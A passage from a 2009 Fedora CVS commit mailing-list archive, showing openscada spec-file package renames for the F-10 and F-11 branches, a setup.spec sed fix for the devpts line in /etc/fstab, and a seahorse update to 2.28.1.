@@ -937,7 +939,7 @@ Requires:%{name}-UI-QTCfg = %{version}-%
 Requires:%{name}-UI-Vision = %{version}-%{release}
 %endif
 %if 0%{?with_uivcaengine}
-Requires:%{name}-UI-VCAEngane = %{version}-%{release}
+Requires:%{name}-UI-VCAEngine = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -971,70 +973,70 @@ und das Kennwort "openscada" oder die An
 
 # ############################### Virtual Packages ###################################
 %package plc
-Summary: OpenSCADA PLC.
+Summary: OpenSCADA PLC
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-Archive-FSArch
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-System
-Requires: %name-DB-SQLite
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Transport-Sockets
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfgD
-Requires: %name-UI-WebVision
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-System
+Requires: %{name}-DB-SQLite
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
+Requires: %{name}-Special-FlibSys
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-UI-WebVision
 %description plc
-The %name-plc package is virtual package for PLC.
+The %{name}-plc package is virtual package for PLC.
 %description plc -l ru_RU.UTF8
-????? %name-plc ??? ??????????? ????? ??? ???.
+????? %{name}-plc ??? ??????????? ????? ??? ???.
 %description plc -l uk_UA.UTF8
-????? %name-plc ?? ??????????? ????? ??? ???.
+????? %{name}-plc ?? ??????????? ????? ??? ???.
 %description plc -l de_RU.UTF8
-????? %name-plc ist das Virtualpaket f?r PLC.
+????? %{name}-plc ist das Virtualpaket f?r PLC.
 
 %package server
-Summary: OpenSCADA server.
+Summary: OpenSCADA server
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-DB-SQLite
-Requires: %name-DB-MySQL
-Requires: %name-DB-FireBird
-Requires: %name-DAQ-System
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-DiamondBoards
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-SNMP
-Requires: %name-DAQ-Siemens
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
-Requires: %name-Transport-Sockets
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfg
-Requires: %name-UI-WebVision
-Requires: %name-WebCfgD
-Requires: %name-Special-FLibComplex1
-Requires: %name Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-DB-SQLite
+Requires: %{name}-DB-MySQL
+Requires: %{name}-DB-FireBird
+Requires: %{name}-DAQ-System
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-DiamondBoards
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-SNMP
+Requires: %{name}-DAQ-Siemens
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-DCON
+Requires: %{name}-DAQ-Gate
+Requires: %{name}-DAQ-Soundcard
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-ARH-DBArch
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfg
+Requires: %{name}-UI-WebVision
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-Special-FLibComplex1
+Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
 %description server -l ru_RU.UTF8
@@ -1045,7 +1047,7 @@ The %name-server package is virtual pack
 ????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
 
 %package visStation
-Summary: OpenSCADA visual station.
+Summary: OpenSCADA visual station
 Group: Applications/Engineering
 Requires: %name = %version-%release
 Requires: %name-DB-SQLite
@@ -1053,15 +1055,15 @@ Requires: %name-DB-MySQL
 Requires: %name-DAQ-System
 Requires: %name-DAQ-BlockCalc
 Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-LogicLevel
 Requires: %name-DAQ-SNMP
 Requires: %name-DAQ-Siemens
 Requires: %name-DAQ-ModBus
 Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
+Requires: %name-DAQ-Gate
+Requires: %name-DAQ-Soundcard
+Requires: %name-ARH-FSArch
+Requires: %name-ARH-DBArch
 Requires: %name-Transport-Sockets
 Requires: %name-Transport-SSL
 Requires: %name-Transport-Serial
@@ -1477,12 +1479,16 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
+- Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
+
 * Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
 - The change version for release 0.6.4
-- Moved Ui-VCAEngane module to the self package
+- Moved Ui-VCAEngine module to the self package
 - Removed QTStarter module from the main package
 - Added the virtual plc, server, visStation packages
-- Some cosmetics.
+- Some cosmetics
+- Fixed somes bugs Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
 - Adding self module ICP_DAS



From aleksey2005 at fedoraproject.org  Mon Oct 19 07:48:42 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Mon, 19 Oct 2009 07:48:42 +0000 (UTC)
Subject: rpms/openscada/F-10 import.log,1.7,1.8 openscada.spec,1.10,1.11
Message-ID: <20091019074842.44DBF11C00DC@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30556/F-10

Modified Files:
	import.log openscada.spec 
Log Message:
Release OpenSCADA 0.6.4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	13 Oct 2009 09:48:24 -0000	1.7
+++ import.log	19 Oct 2009 07:48:42 -0000	1.8
@@ -5,3 +5,4 @@ openscada-0_6_3_3-5_fc10:F-10:openscada-
 openscada-0_6_3_3-6_fc10:F-10:openscada-0.6.3.3-6.fc10.src.rpm:1245335773
 openscada-0_6_3_3-7_fc10:F-10:openscada-0.6.3.3-7.fc10.src.rpm:1245444145
 openscada-0_6_4-1_fc11:F-10:openscada-0.6.4-1.fc11.src.rpm:1255427306
+openscada-0_6_4-2_fc11:F-10:openscada-0.6.4-2.fc11.src.rpm:1255938537


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/openscada.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- openscada.spec	13 Oct 2009 09:48:24 -0000	1.10
+++ openscada.spec	19 Oct 2009 07:48:42 -0000	1.11
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -106,6 +106,8 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 
+Obsoletes: %{name}-UI-QTVision
+
 %description
 Open SCADA system. For access use account "root" and password "openscada".
 %description -l ru_RU.UTF8
@@ -937,7 +939,7 @@ Requires:%{name}-UI-QTCfg = %{version}-%
 Requires:%{name}-UI-Vision = %{version}-%{release}
 %endif
 %if 0%{?with_uivcaengine}
-Requires:%{name}-UI-VCAEngane = %{version}-%{release}
+Requires:%{name}-UI-VCAEngine = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -971,70 +973,70 @@ und das Kennwort "openscada" oder die An
 
 # ############################### Virtual Packages ###################################
 %package plc
-Summary: OpenSCADA PLC.
+Summary: OpenSCADA PLC
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-Archive-FSArch
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-System
-Requires: %name-DB-SQLite
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Transport-Sockets
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfgD
-Requires: %name-UI-WebVision
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-System
+Requires: %{name}-DB-SQLite
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
+Requires: %{name}-Special-FlibSys
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-UI-WebVision
 %description plc
-The %name-plc package is virtual package for PLC.
+The %{name}-plc package is virtual package for PLC.
 %description plc -l ru_RU.UTF8
-????? %name-plc ??? ??????????? ????? ??? ???.
+????? %{name}-plc ??? ??????????? ????? ??? ???.
 %description plc -l uk_UA.UTF8
-????? %name-plc ?? ??????????? ????? ??? ???.
+????? %{name}-plc ?? ??????????? ????? ??? ???.
 %description plc -l de_RU.UTF8
-????? %name-plc ist das Virtualpaket f?r PLC.
+????? %{name}-plc ist das Virtualpaket f?r PLC.
 
 %package server
-Summary: OpenSCADA server.
+Summary: OpenSCADA server
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-DB-SQLite
-Requires: %name-DB-MySQL
-Requires: %name-DB-FireBird
-Requires: %name-DAQ-System
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-DiamondBoards
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-SNMP
-Requires: %name-DAQ-Siemens
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
-Requires: %name-Transport-Sockets
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfg
-Requires: %name-UI-WebVision
-Requires: %name-WebCfgD
-Requires: %name-Special-FLibComplex1
-Requires: %name Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-DB-SQLite
+Requires: %{name}-DB-MySQL
+Requires: %{name}-DB-FireBird
+Requires: %{name}-DAQ-System
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-DiamondBoards
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-SNMP
+Requires: %{name}-DAQ-Siemens
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-DCON
+Requires: %{name}-DAQ-Gate
+Requires: %{name}-DAQ-Soundcard
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-ARH-DBArch
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfg
+Requires: %{name}-UI-WebVision
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-Special-FLibComplex1
+Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
 %description server -l ru_RU.UTF8
@@ -1045,7 +1047,7 @@ The %name-server package is virtual pack
 ????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
 
 %package visStation
-Summary: OpenSCADA visual station.
+Summary: OpenSCADA visual station
 Group: Applications/Engineering
 Requires: %name = %version-%release
 Requires: %name-DB-SQLite
@@ -1053,15 +1055,15 @@ Requires: %name-DB-MySQL
 Requires: %name-DAQ-System
 Requires: %name-DAQ-BlockCalc
 Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-LogicLevel
 Requires: %name-DAQ-SNMP
 Requires: %name-DAQ-Siemens
 Requires: %name-DAQ-ModBus
 Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
+Requires: %name-DAQ-Gate
+Requires: %name-DAQ-Soundcard
+Requires: %name-ARH-FSArch
+Requires: %name-ARH-DBArch
 Requires: %name-Transport-Sockets
 Requires: %name-Transport-SSL
 Requires: %name-Transport-Serial
@@ -1477,12 +1479,16 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
+- Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
+
 * Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
 - The change version for release 0.6.4
-- Moved Ui-VCAEngane module to the self package
+- Moved Ui-VCAEngine module to the self package
 - Removed QTStarter module from the main package
 - Added the virtual plc, server, visStation packages
-- Some cosmetics.
+- Some cosmetics
+- Fixed somes bugs Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
 - Adding self module ICP_DAS



From aleksey2005 at fedoraproject.org  Mon Oct 19 07:49:34 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Mon, 19 Oct 2009 07:49:34 +0000 (UTC)
Subject: rpms/openscada/F-11 import.log,1.8,1.9 openscada.spec,1.10,1.11
Message-ID: <20091019074934.9B6BD11C00DC@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30802/F-11

Modified Files:
	import.log openscada.spec 
Log Message:
Release OpenSCADA 0.6.4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/import.log,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- import.log	13 Oct 2009 09:44:42 -0000	1.8
+++ import.log	19 Oct 2009 07:49:34 -0000	1.9
@@ -6,3 +6,4 @@ openscada-0_6_3_3-6_fc10:F-11:openscada-
 openscada-0_6_3_3-7_fc10:F-11:openscada-0.6.3.3-7.fc10.src.rpm:1245444490
 openscada-0_6_3_3-9_fc11:F-11:openscada-0.6.3.3-9.fc11.src.rpm:1247571822
 openscada-0_6_4-1_fc11:F-11:openscada-0.6.4-1.fc11.src.rpm:1255427077
+openscada-0_6_4-2_fc11:F-11:openscada-0.6.4-2.fc11.src.rpm:1255938588


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/openscada.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- openscada.spec	13 Oct 2009 09:44:42 -0000	1.10
+++ openscada.spec	19 Oct 2009 07:49:34 -0000	1.11
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -106,6 +106,8 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 
+Obsoletes: %{name}-UI-QTVision
+
 %description
 Open SCADA system. For access use account "root" and password "openscada".
 %description -l ru_RU.UTF8
@@ -937,7 +939,7 @@ Requires:%{name}-UI-QTCfg = %{version}-%
 Requires:%{name}-UI-Vision = %{version}-%{release}
 %endif
 %if 0%{?with_uivcaengine}
-Requires:%{name}-UI-VCAEngane = %{version}-%{release}
+Requires:%{name}-UI-VCAEngine = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -971,70 +973,70 @@ und das Kennwort "openscada" oder die An
 
 # ############################### Virtual Packages ###################################
 %package plc
-Summary: OpenSCADA PLC.
+Summary: OpenSCADA PLC
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-Archive-FSArch
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-System
-Requires: %name-DB-SQLite
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Transport-Sockets
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfgD
-Requires: %name-UI-WebVision
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-System
+Requires: %{name}-DB-SQLite
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
+Requires: %{name}-Special-FlibSys
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-UI-WebVision
 %description plc
-The %name-plc package is virtual package for PLC.
+The %{name}-plc package is virtual package for PLC.
 %description plc -l ru_RU.UTF8
-????? %name-plc ??? ??????????? ????? ??? ???.
+????? %{name}-plc ??? ??????????? ????? ??? ???.
 %description plc -l uk_UA.UTF8
-????? %name-plc ?? ??????????? ????? ??? ???.
+????? %{name}-plc ?? ??????????? ????? ??? ???.
 %description plc -l de_RU.UTF8
-????? %name-plc ist das Virtualpaket f?r PLC.
+????? %{name}-plc ist das Virtualpaket f?r PLC.
 
 %package server
-Summary: OpenSCADA server.
+Summary: OpenSCADA server
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-DB-SQLite
-Requires: %name-DB-MySQL
-Requires: %name-DB-FireBird
-Requires: %name-DAQ-System
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-DiamondBoards
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-SNMP
-Requires: %name-DAQ-Siemens
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
-Requires: %name-Transport-Sockets
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfg
-Requires: %name-UI-WebVision
-Requires: %name-WebCfgD
-Requires: %name-Special-FLibComplex1
-Requires: %name Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-DB-SQLite
+Requires: %{name}-DB-MySQL
+Requires: %{name}-DB-FireBird
+Requires: %{name}-DAQ-System
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-DiamondBoards
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-SNMP
+Requires: %{name}-DAQ-Siemens
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-DCON
+Requires: %{name}-DAQ-Gate
+Requires: %{name}-DAQ-Soundcard
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-ARH-DBArch
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfg
+Requires: %{name}-UI-WebVision
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-Special-FLibComplex1
+Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
 %description server -l ru_RU.UTF8
@@ -1045,7 +1047,7 @@ The %name-server package is virtual pack
 ????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
 
 %package visStation
-Summary: OpenSCADA visual station.
+Summary: OpenSCADA visual station
 Group: Applications/Engineering
 Requires: %name = %version-%release
 Requires: %name-DB-SQLite
@@ -1053,15 +1055,15 @@ Requires: %name-DB-MySQL
 Requires: %name-DAQ-System
 Requires: %name-DAQ-BlockCalc
 Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-LogicLevel
 Requires: %name-DAQ-SNMP
 Requires: %name-DAQ-Siemens
 Requires: %name-DAQ-ModBus
 Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
+Requires: %name-DAQ-Gate
+Requires: %name-DAQ-Soundcard
+Requires: %name-ARH-FSArch
+Requires: %name-ARH-DBArch
 Requires: %name-Transport-Sockets
 Requires: %name-Transport-SSL
 Requires: %name-Transport-Serial
@@ -1477,12 +1479,16 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
+- Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
+
 * Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
 - The change version for release 0.6.4
-- Moved Ui-VCAEngane module to the self package
+- Moved Ui-VCAEngine module to the self package
 - Removed QTStarter module from the main package
 - Added the virtual plc, server, visStation packages
-- Some cosmetics.
+- Some cosmetics
+- Fixed somes bugs Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
 - Adding self module ICP_DAS



From ovasik at fedoraproject.org  Mon Oct 19 08:52:45 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 19 Oct 2009 08:52:45 +0000 (UTC)
Subject: rpms/setup/F-11 setup.spec,1.78,1.79
Message-ID: <20091019085246.B302111C00DC@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/setup/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14973

Modified Files:
	setup.spec 
Log Message:
adjust sed expression fixing #515521 to be more generic


Index: setup.spec
===================================================================
RCS file: /cvs/extras/rpms/setup/F-11/setup.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- setup.spec	8 Oct 2009 14:13:27 -0000	1.78
+++ setup.spec	19 Oct 2009 08:52:36 -0000	1.79
@@ -1,7 +1,7 @@
 Summary: A set of system configuration and setup files
 Name: setup
 Version: 2.8.3
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: https://fedorahosted.org/setup/
@@ -57,7 +57,7 @@ for i, name in ipairs({"passwd", "shadow
      os.remove("/etc/"..name..".rpmnew")
 end
 if (os.execute("") == 0 and posix.access("/bin/sed", "x")) then
-  os.execute("sed -i -e 's/devpts  defaults/devpts  gid=5,mode=620/' /etc/fstab >/dev/null 2>&1 || :")
+  os.execute("sed -i -e '/^\\s*[^#].*devpts\\s\\+defaults/{s/devpts\\s\\+defaults/devpts  gid=5,mode=620/;a\\#devpts options modified by setup update to fix #515521 ugly way' -e \\} /etc/fstab >/dev/null 2>&1 || :")
 end
 
 
@@ -93,7 +93,10 @@ end
 %ghost %verify(not md5 size mtime) %config(noreplace,missingok) /etc/mtab
 
 %changelog
-* Mon Oct 08 2009 Ondrej Vasik <ovasik at redhat.com> 2.8.3-2
+* Mon Oct 19 2009 Ondrej Vasik <ovasik at redhat.com> 2.8.3-3
+- adjust sed expression fixing #515521 to be more generic
+
+* Mon Oct 05 2009 Ondrej Vasik <ovasik at redhat.com> 2.8.3-2
 - adjust /dev/pts fstab line if broken by installation
   (#515521)
 - use <lua> scriptlet for deleting files in correct way



From tbzatek at fedoraproject.org  Mon Oct 19 08:58:37 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Mon, 19 Oct 2009 08:58:37 +0000 (UTC)
Subject: rpms/seahorse/F-12 .cvsignore, 1.33, 1.34 seahorse.spec, 1.82,
	1.83 sources, 1.35, 1.36
Message-ID: <20091019085837.8BB5B11C00DC@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/seahorse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17497

Modified Files:
	.cvsignore seahorse.spec sources 
Log Message:
* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/seahorse/F-12/.cvsignore,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- .cvsignore	22 Sep 2009 08:20:08 -0000	1.33
+++ .cvsignore	19 Oct 2009 08:58:37 -0000	1.34
@@ -1 +1 @@
-seahorse-2.28.0.tar.bz2
+seahorse-2.28.1.tar.bz2


Index: seahorse.spec
===================================================================
RCS file: /cvs/extras/rpms/seahorse/F-12/seahorse.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- seahorse.spec	22 Sep 2009 08:20:09 -0000	1.82
+++ seahorse.spec	19 Oct 2009 08:58:37 -0000	1.83
@@ -1,5 +1,5 @@
 Name: 		seahorse
-Version: 	2.28.0
+Version: 	2.28.1
 Release:        1%{?dist}
 Summary:	A GNOME application for managing encryption keys
 Group: 		User Interface/Desktops
@@ -164,6 +164,9 @@ fi
 %{_datadir}/gtk-doc/html/libseahorse
 
 %changelog
+* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Tomas Bzatek <tbzatek at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/seahorse/F-12/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	22 Sep 2009 08:20:09 -0000	1.35
+++ sources	19 Oct 2009 08:58:37 -0000	1.36
@@ -1 +1 @@
-250495064ce62e19719167897cdea930  seahorse-2.28.0.tar.bz2
+c49d4d9bcfe7620081df517ab939f67b  seahorse-2.28.1.tar.bz2



From dnovotny at fedoraproject.org  Mon Oct 19 09:02:07 2009
